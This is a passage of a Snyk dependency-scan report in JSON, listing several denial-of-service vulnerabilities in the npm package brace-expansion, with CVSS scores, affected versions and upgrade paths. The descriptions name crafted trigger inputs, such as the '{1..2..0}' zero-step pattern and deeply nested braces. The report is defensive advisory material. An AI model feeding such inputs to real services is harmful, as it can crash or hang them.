"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "NVD",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n",
"epssDetails": {
"percentile": "0.47050",
"probability": "0.00613",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-33750"
],
"CWE": [
"CWE-835"
],
"GHSA": [
"GHSA-f886-m6hf-6m8v"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-03-27T07:45:56.244707Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-03-26T18:29:42Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-03-27T07:45:56.429154Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T02:01:42.918000Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmpublish@10.0.2",
"sigstore@3.1.0",
"@sigstore/tuf@3.1.1",
"tuf-js@3.1.0",
"make-fetch-happen@14.0.3",
"cacache@19.0.1",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmpublish@11.2.1",
"sigstore@4.1.1",
"@sigstore/tuf@4.0.2",
"tuf-js@4.1.0",
"make-fetch-happen@15.0.6",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-17706650",
"title": "Inefficient Algorithmic Complexity",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Unknown"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.7"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.7"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n",
"epssDetails": {
"percentile": "0.29069",
"probability": "0.00364",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-13149"
],
"CWE": [
"CWE-407"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-06-30T11:38:19.757696Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-06-30T11:25:01Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-06-30T11:38:19.961909Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-08-24T14:04:38.442182Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmpublish@10.0.2",
"sigstore@3.1.0",
"@sigstore/tuf@3.1.1",
"tuf-js@3.1.0",
"make-fetch-happen@14.0.3",
"cacache@19.0.1",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmpublish@11.2.1",
"sigstore@4.1.1",
"@sigstore/tuf@4.0.2",
"tuf-js@4.1.0",
"make-fetch-happen@15.0.6",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18313044",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"bnbdr"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.8"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.8"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n",
"epssDetails": {
"percentile": "0.49122",
"probability": "0.00643",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-14257"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-mh99-v99m-4gvg"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-07-26T09:53:40.727617Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-07-23T15:49:26Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-07-26T09:53:40.907374Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-16T14:02:43.227595Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmpublish@10.0.2",
"sigstore@3.1.0",
"@sigstore/tuf@3.1.1",
"tuf-js@3.1.0",
"make-fetch-happen@14.0.3",
"cacache@19.0.1",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmpublish@11.2.1",
"sigstore@4.1.1",
"@sigstore/tuf@4.0.2",
"tuf-js@4.1.0",
"make-fetch-happen@15.0.6",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18512280",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"Alessio Della Libera"
],
"semver": {
"vulnerable": [
"<1.1.18",
">=2.0.0 <2.1.4",
">=3.0.0 <3.0.6",
">=4.0.0 <5.0.9"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.18",
"2.1.4",
"3.0.6",
"5.0.9"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n",
"epssDetails": {
"percentile": "0.48810",
"probability": "0.00647",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-69152"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-rgw5-rvv9-x895"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-08-03T18:50:29.684875Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-08-03T16:35:32Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-08-03T18:50:29.862827Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T21:42:52.694864Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmpublish@10.0.2",
"sigstore@3.1.0",
"@sigstore/tuf@3.1.1",
"tuf-js@3.1.0",
"make-fetch-happen@14.0.3",
"cacache@19.0.1",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmpublish@11.2.1",
"sigstore@4.1.1",
"@sigstore/tuf@4.0.2",
"tuf-js@4.1.0",
"make-fetch-happen@15.0.6",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244948",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Gareth Jones",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.20",
">=2.0.0 <2.1.6",
">=3.0.0 <3.0.8",
">=4.0.0 <5.0.11"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.20",
"2.1.6",
"3.0.8",
"5.0.11"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via uncontrolled recursion in `expand_` when processing deeply nested brace patterns. An attacker can supply approximately 6 KB of deeply nested braces (e.g., `{` repeated ~3,200 times followed by `a,b` and the matching `}` characters) to exhaust the native call stack and crash the process with a `RangeError: Maximum call stack size exceeded`. The `max` and `maxLength` bounds do not prevent this because the stack is exhausted during recursive descent into sub-expansions, before the result set grows.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.20, 2.1.6, 3.0.8, 5.0.11 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102278"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-qhr7-859c-m2p7"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:28:47.469361Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:22Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:28:47.672458Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-10-09T05:49:37.555149Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmpublish@10.0.2",
"sigstore@3.1.0",
"@sigstore/tuf@3.1.1",
"tuf-js@3.1.0",
"make-fetch-happen@14.0.3",
"cacache@19.0.1",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmpublish@11.2.1",
"sigstore@4.1.1",
"@sigstore/tuf@4.0.2",
"tuf-js@4.1.0",
"make-fetch-happen@15.0.6",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244952",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"baeseungwon1010",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.19",
">=2.0.0 <2.1.5",
">=3.0.0 <3.0.7",
">=4.0.0 <5.0.10"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.19",
"2.1.5",
"3.0.7",
"5.0.10"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p",
"title": "Maintainer's Advisory"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via two distinct stack-exhaustion paths in `parseCommaParts`. In the first, the function recurses on the remainder of the string once per brace group, so a chain of approximately 7,000 groups (~29 KB of input) exhausts the native call stack and throws a `RangeError`. In the second, `push.apply` passes one argument per element, meaning a single large comma-separated array inside a brace group overflows the stack at a recursion depth of exactly one, requiring roughly 125,000 comma-separated elements. Neither the `max` nor `maxLength` options can bound either path because the crash occurs during parsing, before any expansion takes place.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.19, 2.1.5, 3.0.7, 5.0.10 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3)\n- [Maintainer's Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102276"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-6j4f-fj2g-mc7p"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:36:51.075985Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:21Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:36:51.235635Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-29T19:40:12.310972Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmpublish@10.0.2",
"sigstore@3.1.0",
"@sigstore/tuf@3.1.1",
"tuf-js@3.1.0",
"make-fetch-happen@14.0.3",
"cacache@19.0.1",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmpublish@11.2.1",
"sigstore@4.1.1",
"@sigstore/tuf@4.0.2",
"tuf-js@4.1.0",
"make-fetch-happen@15.0.6",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-15789759",
"title": "Infinite loop",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Subhash Dasyam"
],
"semver": {
"vulnerable": [
"<1.1.13",
">=2.0.0 <2.0.3",
">=3.0.0 <3.0.2",
">=4.0.0 <5.0.5"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.13",
"2.0.3",
"3.0.2",
"5.0.5"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
